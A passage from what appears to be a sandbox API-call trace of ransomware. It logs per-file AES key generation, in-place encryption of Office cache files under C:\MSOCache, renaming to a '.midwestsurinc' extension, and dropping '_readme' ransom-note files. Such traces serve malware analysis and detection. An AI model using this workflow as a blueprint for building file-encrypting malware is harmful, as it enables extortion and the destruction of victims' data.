RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0093.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0093.283] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0093.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0093.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0093.284] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0093.284] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0093.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1700) returned 0x181caa8 [0093.284] ReadFile (in: hFile=0x2e8, lpBuffer=0x181caa8, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181caa8*, lpNumberOfBytesRead=0x174fb28*=0x16fc, lpOverlapped=0x0) returned 1 [0093.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1700) returned 0x17fca90 [0093.302] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181caa8) returned 1 [0093.303] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1700) returned 0x181caa8 [0093.303] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0093.303] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17fca90) returned 1 [0093.303] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b00) returned 0x17fca90 [0093.303] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17fca90*, pdwDataLen=0x174fb24*=0x16fc, dwBufLen=0x1afc | out: pbData=0x17fca90*, pdwDataLen=0x174fb24*=0x1700) returned 1 [0093.303] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17fca90) returned 1 [0093.303] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0093.303] WriteFile (in: hFile=0x2e8, lpBuffer=0x181caa8*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181caa8*, lpNumberOfBytesWritten=0x174fb28*=0x16fc, lpOverlapped=0x0) returned 1 [0093.303] FlushFileBuffers (hFile=0x2e8) returned 1 [0093.306] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0093.306] NtClose (Handle=0x2e8) returned 0x0 [0093.307] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc")) returned 1 [0093.308] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0093.308] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0093.308] GetLastError () returned 0x2 [0093.308] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86210, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0093.308] GetLastError () returned 0x2 [0093.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0093.308] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0093.308] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0093.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0093.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb) returned 0xf7d630 [0093.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0093.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0093.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0093.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x181e1b0 [0093.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0093.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181e1b0) returned 1 [0093.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x181e1b0 [0093.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0093.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0093.310] WriteFile (in: hFile=0x2e8, lpBuffer=0x181e1b0*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181e1b0*, lpNumberOfBytesWritten=0x174fb28*=0x2e9, lpOverlapped=0x0) returned 1 [0093.310] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x56e80cb0, dwHighDateTime=0x1d5dff7)) returned 1 [0093.310] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0093.310] NtClose (Handle=0x2e8) returned 0x0 [0093.311] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0093.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181e1b0) returned 1 [0093.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0093.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181caa8) returned 1 [0093.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0093.311] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0093.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0093.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0093.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0093.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0093.311] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed)) returned 1 [0093.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0093.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0093.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0093.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0093.313] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0093.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0093.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0093.313] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed)) returned 1 [0093.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0093.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0093.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0093.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0093.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0093.313] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed)) returned 1 [0093.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0093.314] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0093.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0093.314] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0093.314] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0093.314] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf07b1ad0, dwHighDateTime=0x1d301be)) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0093.314] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0093.314] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0093.314] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0093.314] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0093.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0093.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0093.315] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0093.315] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0093.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0093.315] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0095.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0095.482] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0095.540] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0095.540] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0095.688] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0095.736] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0095.829] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0095.829] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0095.952] FlushFileBuffers (hFile=0x2e8) returned 1 [0096.034] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0xa00000 [0096.034] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf3600) returned 0x2960020 [0096.035] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xf35ed, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xf35ed, lpOverlapped=0x0) returned 1 [0096.059] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf3600) returned 0x2a60020 [0096.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0096.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2a60020) returned 1 [0096.081] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf3a00) returned 0x2960020 [0096.092] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2960020*, pdwDataLen=0x174fb24*=0xf35ed, dwBufLen=0xf39ed | out: pbData=0x2960020*, pdwDataLen=0x174fb24*=0xf35f0) returned 1 [0096.101] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0096.115] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0xa00000 [0096.115] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xf35ed, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xf35ed, lpOverlapped=0x0) returned 1 [0096.117] FlushFileBuffers (hFile=0x2e8) returned 1 [0096.129] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0096.129] NtClose (Handle=0x2e8) returned 0x0 [0096.623] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.midwestsurinc")) returned 1 [0096.624] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0096.624] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0096.624] GetLastError () returned 0x2 [0096.624] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86230, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0096.624] GetLastError () returned 0x2 [0096.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0096.626] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0096.626] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0096.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0096.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x7) returned 0xf7d278 [0096.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0096.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0096.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0096.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0096.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0096.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0096.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0096.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0096.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0096.628] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2e5, lpOverlapped=0x0) returned 1 [0096.628] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5893b910, dwHighDateTime=0x1d5dff7)) returned 1 [0096.628] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0096.628] NtClose (Handle=0x2e8) returned 0x0 [0096.629] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0096.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0096.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0096.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0096.681] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0096.681] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0096.681] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0096.681] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0096.681] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0096.681] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0096.681] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00)) returned 1 [0096.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0096.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0096.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0096.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0096.682] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0096.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0096.682] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00)) returned 1 [0096.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0096.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0096.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0096.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0096.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0096.683] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All 